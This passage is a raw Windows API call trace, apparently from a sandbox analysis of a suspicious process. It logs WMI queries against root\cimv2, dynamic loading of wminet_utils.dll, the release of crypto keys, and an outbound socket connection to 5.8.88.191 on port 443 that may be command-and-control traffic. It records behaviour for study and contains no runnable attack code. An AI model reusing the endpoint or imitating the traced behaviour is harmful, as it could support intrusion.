Ro::detail::SimpleMetaDataBuilder::SetParameterizedInterface () returned 0x0 [0166.675] Ro::detail::SimpleMetaDataBuilder::SetParameterizedInterface () returned 0x0 [0166.675] Ro::detail::SimpleMetaDataBuilder::SetStruct () returned 0x0 [0166.675] Ro::detail::SimpleMetaDataBuilder::SetEnum () returned 0x0 [0166.677] RoGetParameterizedTypeInstanceIID () returned 0x0 [0166.677] Ro::detail::SimpleMetaDataBuilder::SetParameterizedInterface () returned 0x0 [0166.677] Ro::detail::SimpleMetaDataBuilder::SetStruct () returned 0x0 [0166.677] Ro::detail::SimpleMetaDataBuilder::SetEnum () returned 0x0 [0166.679] RoGetParameterizedTypeInstanceIID () returned 0x0 [0166.679] Ro::detail::SimpleMetaDataBuilder::SetParameterizedInterface () returned 0x0 [0166.679] Ro::detail::SimpleMetaDataBuilder::SetStruct () returned 0x0 [0166.679] Ro::detail::SimpleMetaDataBuilder::SetEnum () returned 0x0 [0168.227] CreateSemaphoreW (lpSemaphoreAttributes=0x0, lInitialCount=2, lMaximumCount=2, lpName=0x0) returned 0x614 [0168.450] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x618 [0168.518] LocalAlloc (uFlags=0x0, uBytes=0xc) returned 0xf058a0 [0168.518] LocalFree (hMem=0xf058a0) returned 0x0 [0168.519] WSAIoctl (in: s=0x618, dwIoControlCode=0x98000004, lpvInBuffer=0x2716d1c, cbInBuffer=0xc, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x18f1cc, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x18f1cc, lpOverlapped=0x0) returned 0 [0168.522] WSAConnect (s=0x618, name=0x2716dd0*(sa_family=2, sin_port=0x1bb, sin_addr="5.8.88.191"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0) Thread: id = 155 os_tid = 0x1340 Thread: id = 156 os_tid = 0x133c Thread: id = 157 os_tid = 0x1338 [0155.643] CoGetContextToken (in: pToken=0xb9f5e4 | out: pToken=0xb9f5e4) returned 0x800401f0 [0155.644] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0155.644] RoInitialize () returned 0x1 [0155.644] RoUninitialize () returned 0x0 [0161.845] CoGetContextToken (in: pToken=0xb9f5d0 | out: pToken=0xb9f5d0) returned 0x0 [0161.845] CoGetContextToken (in: pToken=0xb9f550 | out: pToken=0xb9f550) returned 0x0 [0161.845] WbemLocator:IUnknown:Release (This=0xe876c0) returned 0x1 [0161.846] WbemLocator:IUnknown:Release (This=0xe876c0) returned 0x0 [0161.846] CoGetContextToken (in: pToken=0xb9f5d0 | out: pToken=0xb9f5d0) returned 0x0 [0161.846] IUnknown:QueryInterface (in: This=0xe60068, riid=0x6f17da0c*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xb9f574 | out: ppvObject=0xb9f574*=0xe60078) returned 0x0 [0161.846] CObjectContext::ContextCallback () returned 0x0 [0163.052] IUnknown:Release (This=0xe60078) returned 0x1 [0163.053] CoGetContextToken (in: pToken=0xb9f418 | out: pToken=0xb9f418) returned 0x0 [0163.053] IUnknown:QueryInterface (in: This=0xe60068, riid=0x6f17da0c*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xb9f3bc | out: ppvObject=0xb9f3bc*=0xe60078) returned 0x0 [0163.053] CObjectContext::ContextCallback () returned 0x0 [0163.166] IUnknown:Release (This=0xe60078) returned 0x1 [0163.166] IUnknown:Release (This=0xe60068) returned 0x0 [0163.166] IUnknown:Release (This=0xed65d8) returned 0x0 [0163.167] CryptReleaseContext (hProv=0xe703a8, dwFlags=0x0) returned 1 [0163.167] CryptDestroyKey (hKey=0xe6f5c0) returned 1 [0163.167] CryptReleaseContext (hProv=0xe704b8, dwFlags=0x0) returned 1 [0163.167] CryptReleaseContext (hProv=0xe704b8, dwFlags=0x0) returned 1 [0163.167] CryptDestroyKey (hKey=0xe6ef40) returned 1 [0163.167] CryptReleaseContext (hProv=0xe705c8, dwFlags=0x0) returned 1 [0163.167] CryptReleaseContext (hProv=0xe705c8, dwFlags=0x0) returned 1 [0163.167] CryptDestroyKey (hKey=0xe6f6c0) returned 1 [0163.167] CryptReleaseContext (hProv=0xe70760, dwFlags=0x0) returned 1 [0163.167] CryptReleaseContext (hProv=0xe70760, dwFlags=0x0) returned 1 [0163.168] CloseHandle (hObject=0x2d8) returned 1 [0163.168] CryptDestroyKey (hKey=0xe6f580) returned 1 [0163.168] CryptReleaseContext (hProv=0xe70210, dwFlags=0x0) returned 1 [0163.168] CryptReleaseContext (hProv=0xe70210, dwFlags=0x0) returned 1 [0163.168] CryptDestroyKey (hKey=0xe6f100) returned 1 [0163.168] CryptReleaseContext (hProv=0xe70298, dwFlags=0x0) returned 1 [0163.168] CryptReleaseContext (hProv=0xe70298, dwFlags=0x0) returned 1 [0163.168] CryptDestroyKey (hKey=0xe6f240) returned 1 [0163.168] CryptReleaseContext (hProv=0xe70320, dwFlags=0x0) returned 1 [0163.169] CryptReleaseContext (hProv=0xe70320, dwFlags=0x0) returned 1 [0163.169] CryptDestroyKey (hKey=0xe6f700) returned 1 [0163.169] CryptReleaseContext (hProv=0xe70078, dwFlags=0x0) returned 1 [0163.169] CryptReleaseContext (hProv=0xe70078, dwFlags=0x0) returned 1 [0163.169] CryptDestroyKey (hKey=0xe6f000) returned 1 [0163.169] CryptReleaseContext (hProv=0xe703a8, dwFlags=0x0) returned 1 Thread: id = 158 os_tid = 0x1318 [0159.596] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0159.597] RoInitialize () returned 0x1 [0159.597] RoUninitialize () returned 0x0 [0159.632] IIDFromString (in: lpsz="{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}", lpiid=0x4a6ee6c | out: lpiid=0x4a6ee6c) returned 0x0 [0159.669] CoGetClassObject (in: rclsid=0xe84e7c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x6f1e4d80*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x4a6eb78 | out: ppv=0x4a6eb78*=0xe875a0) returned 0x0 [0159.707] WbemDefPath:IUnknown:QueryInterface (in: This=0xe875a0, riid=0x6f1c79fc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x4a6ed94 | out: ppvObject=0x4a6ed94*=0x0) returned 0x80004002 [0159.708] WbemDefPath:IClassFactory:CreateInstance (in: This=0xe875a0, pUnkOuter=0x0, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4a6eda0 | out: ppvObject=0x4a6eda0*=0xe87110) returned 0x0 [0159.709] WbemDefPath:IUnknown:Release (This=0xe875a0) returned 0x0 [0159.709] WbemDefPath:IUnknown:QueryInterface (in: This=0xe87110, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4a6e9c4 | out: ppvObject=0x4a6e9c4*=0xe87110) returned 0x0 [0159.710] WbemDefPath:IUnknown:QueryInterface (in: This=0xe87110, riid=0x6f209c98*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x4a6e980 | out: ppvObject=0x4a6e980*=0x0) returned 0x80004002 [0159.710] WbemDefPath:IUnknown:QueryInterface (in: This=0xe87110, riid=0x6f209c88*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x4a6e574 | out: ppvObject=0x4a6e574*=0x0) returned 0x80004002 [0159.710] WbemDefPath:IUnknown:AddRef (This=0xe87110) returned 0x3 [0159.710] WbemDefPath:IUnknown:QueryInterface (in: This=0xe87110, riid=0x6f2098cc*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x4a6e2d4 | out: ppvObject=0x4a6e2d4*=0x0) returned 0x80004002 [0159.710] WbemDefPath:IUnknown:QueryInterface (in: This=0xe87110, riid=0x6f209820*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x4a6e284 | out: ppvObject=0x4a6e284*=0x0) returned 0x80004002 [0159.710] WbemDefPath:IUnknown:QueryInterface (in: This=0xe87110, riid=0x6f0aa540*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4a6e290 | out: ppvObject=0x4a6e290*=0xe88c58) returned 0x0 [0159.711] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0xe88c58, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x4a6e298 | out: pCid=0x4a6e298*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0159.711] WbemDefPath:IUnknown:Release (This=0xe88c58) returned 0x3 [0159.711] CoGetContextToken (in: pToken=0x4a6e2f0 | out: pToken=0x4a6e2f0) returned 0x0 [0159.720] CoGetContextToken (in: pToken=0x4a6e6f8 | out: pToken=0x4a6e6f8) returned 0x0 [0159.720] WbemDefPath:IUnknown:QueryInterface (in: This=0xe87110, riid=0x6f209b0c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4a6e784 | out: ppvObject=0x4a6e784*=0x0) returned 0x80004002 [0159.720] WbemDefPath:IUnknown:Release (This=0xe87110) returned 0x2 [0159.720] WbemDefPath:IUnknown:Release (This=0xe87110) returned 0x1 [0159.720] SetEvent (hEvent=0x2d8) returned 1 Thread: id = 159 os_tid = 0x1334 Thread: id = 160 os_tid = 0x132c Thread: id = 161 os_tid = 0x1314 Thread: id = 162 os_tid = 0x1360 [0159.749] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0159.749] RoInitialize () returned 0x1 [0159.749] RoUninitialize () returned 0x0 [0159.751] IIDFromString (in: lpsz="{4590F811-1D3A-11D0-891F-00AA004B2E24}", lpiid=0x4eff3b4 | out: lpiid=0x4eff3b4) returned 0x0 [0159.753] CoGetClassObject (in: rclsid=0xe84ffc*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x6f1e4d80*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x4eff0c0 | out: ppv=0x4eff0c0*=0xe9aad0) returned 0x0 [0159.760] WbemLocator:IUnknown:QueryInterface (in: This=0xe9aad0, riid=0x6f1c79fc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x4eff2dc | out: ppvObject=0x4eff2dc*=0x0) returned 0x80004002 [0159.760] WbemLocator:IClassFactory:CreateInstance (in: This=0xe9aad0, pUnkOuter=0x0, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4eff2e8 | out: ppvObject=0x4eff2e8*=0xe876c0) returned 0x0 [0159.761] WbemLocator:IUnknown:Release (This=0xe9aad0) returned 0x0 [0159.761] WbemLocator:IUnknown:QueryInterface (in: This=0xe876c0, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4efef0c | out: ppvObject=0x4efef0c*=0xe876c0) returned 0x0 [0159.761] WbemLocator:IUnknown:QueryInterface (in: This=0xe876c0, riid=0x6f209c98*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x4efeec8 | out: ppvObject=0x4efeec8*=0x0) returned 0x80004002 [0159.761] WbemLocator:IUnknown:QueryInterface (in: This=0xe876c0, riid=0x6f209c88*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x4efeabc | out: ppvObject=0x4efeabc*=0x0) returned 0x80004002 [0159.761] WbemLocator:IUnknown:AddRef (This=0xe876c0) returned 0x3 [0159.762] WbemLocator:IUnknown:QueryInterface (in: This=0xe876c0, riid=0x6f2098cc*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x4efe81c | out: ppvObject=0x4efe81c*=0x0) returned 0x80004002 [0159.762] WbemLocator:IUnknown:QueryInterface (in: This=0xe876c0, riid=0x6f209820*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x4efe7cc | out: ppvObject=0x4efe7cc*=0x0) returned 0x80004002 [0159.762] WbemLocator:IUnknown:QueryInterface (in: This=0xe876c0, riid=0x6f0aa540*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4efe7d8 | out: ppvObject=0x4efe7d8*=0x0) returned 0x80004002 [0159.762] CoGetContextToken (in: pToken=0x4efe838 | out: pToken=0x4efe838) returned 0x0 [0159.763] CoGetObjectContext (in: riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xe9a93c | out: ppv=0xe9a93c*=0xe60120) returned 0x0 [0159.765] CoGetContextToken (in: pToken=0x4efec40 | out: pToken=0x4efec40) returned 0x0 [0159.765] WbemLocator:IUnknown:QueryInterface (in: This=0xe876c0, riid=0x6f209b0c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4efeccc | out: ppvObject=0x4efeccc*=0x0) returned 0x80004002 [0159.765] WbemLocator:IUnknown:Release (This=0xe876c0) returned 0x2 [0159.765] WbemLocator:IUnknown:Release (This=0xe876c0) returned 0x1 [0159.766] CoGetContextToken (in: pToken=0x4eff2c8 | out: pToken=0x4eff2c8) returned 0x0 [0159.766] CoGetContextToken (in: pToken=0x4eff228 | out: pToken=0x4eff228) returned 0x0 [0159.766] WbemLocator:IUnknown:QueryInterface (in: This=0xe876c0, riid=0x4eff2f8*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x4eff2f4 | out: ppvObject=0x4eff2f4*=0xe876c0) returned 0x0 [0159.766] WbemLocator:IUnknown:AddRef (This=0xe876c0) returned 0x3 [0159.766] WbemLocator:IUnknown:Release (This=0xe876c0) returned 0x2 [0159.771] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0xe87110, puCount=0x4eff48c | out: puCount=0x4eff48c*=0x2) returned 0x0 [0159.771] WbemDefPath:IWbemPath:GetText (in: This=0xe87110, lFlags=8, puBuffLength=0x4eff488*=0x0, pszText=0x0 | out: puBuffLength=0x4eff488*=0xf, pszText=0x0) returned 0x0 [0159.771] WbemDefPath:IWbemPath:GetText (in: This=0xe87110, lFlags=8, puBuffLength=0x4eff488*=0xf, pszText="00000000000000" | out: puBuffLength=0x4eff488*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.786] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x4efe6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0159.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\\\wminet_utils.dll", cchWideChar=63, lpMultiByteStr=0x4efec08, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\\\wminet_utils.dll", lpUsedDefaultChar=0x0) returned 63 [0159.789] LoadLibraryA (lpLibFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\\\wminet_utils.dll") returned 0x6bb50000 [0159.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ResetSecurity", cchWideChar=13, lpMultiByteStr=0x4efec3c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ResetSecurity ÌkXÃv\x1a(ú\x06o\x08ïï\x04\x01", lpUsedDefaultChar=0x0) returned 13 [0159.801] GetProcAddress (hModule=0x6bb50000, lpProcName="ResetSecurity") returned 0x6bb52cc0 [0159.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SetSecurity", cchWideChar=11, lpMultiByteStr=0x4efec3c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SetSecurity", lpUsedDefaultChar=0x0) returned 11 [0159.817] GetProcAddress (hModule=0x6bb50000, lpProcName="SetSecurity") returned 0x6bb52d10 [0159.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServices", cchWideChar=18, lpMultiByteStr=0x4efec38, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServicesÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 18 [0159.835] GetProcAddress (hModule=0x6bb50000, lpProcName="BlessIWbemServices") returned 0x6bb52090 [0159.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServicesObject", cchWideChar=24, lpMultiByteStr=0x4efec30, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServicesObject´ ÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 24 [0159.879] GetProcAddress (hModule=0x6bb50000, lpProcName="BlessIWbemServicesObject") returned 0x6bb520f0 [0159.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyHandle", cchWideChar=17, lpMultiByteStr=0x4efec38, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyHandle ÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 17 [0159.916] GetProcAddress (hModule=0x6bb50000, lpProcName="GetPropertyHandle") returned 0x6bb527a0 [0159.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WritePropertyValue", cchWideChar=18, lpMultiByteStr=0x4efec38, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WritePropertyValueÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 18 [0159.940] GetProcAddress (hModule=0x6bb50000, lpProcName="WritePropertyValue") returned 0x6bb52e50 [0159.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Clone", cchWideChar=5, lpMultiByteStr=0x4efec44, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Clone ÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 5 [0159.958] GetProcAddress (hModule=0x6bb50000, lpProcName="Clone") returned 0x6bb52150 [0160.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VerifyClientKey", cchWideChar=15, lpMultiByteStr=0x4efec38, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VerifyClientKey", lpUsedDefaultChar=0x0) returned 15 [0160.105] GetProcAddress (hModule=0x6bb50000, lpProcName="VerifyClientKey") returned 0x6bb52e00 [0160.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetQualifierSet", cchWideChar=15, lpMultiByteStr=0x4efec38, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetQualifierSet", lpUsedDefaultChar=0x0) returned 15 [0160.110] GetProcAddress (hModule=0x6bb50000, lpProcName="GetQualifierSet") returned 0x6bb52860 [0160.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Get", cchWideChar=3, lpMultiByteStr=0x4efec44, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Get", lpUsedDefaultChar=0x0) returned 3 [0160.112] GetProcAddress (hModule=0x6bb50000, lpProcName="Get") returned 0x6bb52630 [0160.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Put", cchWideChar=3, lpMultiByteStr=0x4efec44, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Put", lpUsedDefaultChar=0x0) returned 3 [0160.177] GetProcAddress (hModule=0x6bb50000, lpProcName="Put") returned 0x6bb52970 [0160.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Delete", cchWideChar=6, lpMultiByteStr=0x4efec44, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DeleteÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 6 [0160.224] GetProcAddress (hModule=0x6bb50000, lpProcName="Delete") returned 0x6bb52410 [0160.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetNames", cchWideChar=8, lpMultiByteStr=0x4efec40, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetNames´ ÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 8 [0160.236] GetProcAddress (hModule=0x6bb50000, lpProcName="GetNames") returned 0x6bb52740 [0160.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeginEnumeration", cchWideChar=16, lpMultiByteStr=0x4efec38, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeginEnumeration´ ÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 16 [0160.281] GetProcAddress (hModule=0x6bb50000, lpProcName="BeginEnumeration") returned 0x6bb52050 [0160.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Next", cchWideChar=4, lpMultiByteStr=0x4efec44, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Next´ ÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 4 [0160.292] GetProcAddress (hModule=0x6bb50000, lpProcName="Next") returned 0x6bb52910 [0160.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="EndEnumeration", cchWideChar=14, lpMultiByteStr=0x4efec3c, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EndEnumerationÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 14 [0160.343] GetProcAddress (hModule=0x6bb50000, lpProcName="EndEnumeration") returned 0x6bb524d0 [0160.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyQualifierSet", cchWideChar=23, lpMultiByteStr=0x4efec30, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyQualifierSet", lpUsedDefaultChar=0x0) returned 23 [0160.350] GetProcAddress (hModule=0x6bb50000, lpProcName="GetPropertyQualifierSet") returned 0x6bb52830 [0160.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Clone", cchWideChar=5, lpMultiByteStr=0x4efec44, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Clone ÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 5 [0160.363] GetProcAddress (hModule=0x6bb50000, lpProcName="Clone") returned 0x6bb52150 [0160.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetObjectText", cchWideChar=13, lpMultiByteStr=0x4efec3c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetObjectText ÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 13 [0160.363] GetProcAddress (hModule=0x6bb50000, lpProcName="GetObjectText") returned 0x6bb52770 [0160.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SpawnDerivedClass", cchWideChar=17, lpMultiByteStr=0x4efec38, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpawnDerivedClass ÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 17 [0160.377] GetProcAddress (hModule=0x6bb50000, lpProcName="SpawnDerivedClass") returned 0x6bb52d60 [0160.413] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SpawnInstance", cchWideChar=13, lpMultiByteStr=0x4efec3c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpawnInstance ÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 13 [0160.413] GetProcAddress (hModule=0x6bb50000, lpProcName="SpawnInstance") returned 0x6bb52d90 [0160.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CompareTo", cchWideChar=9, lpMultiByteStr=0x4efec40, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CompareTo ÌkXÃv\x1a(ú\x06o\x08ïï\x04", lpUsedDefaultChar=0x0) returned 9 [0160.415] GetProcAddress (hModule=0x6bb50000, lpProcName="CompareTo") returned 0x6bb52200 [0160.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 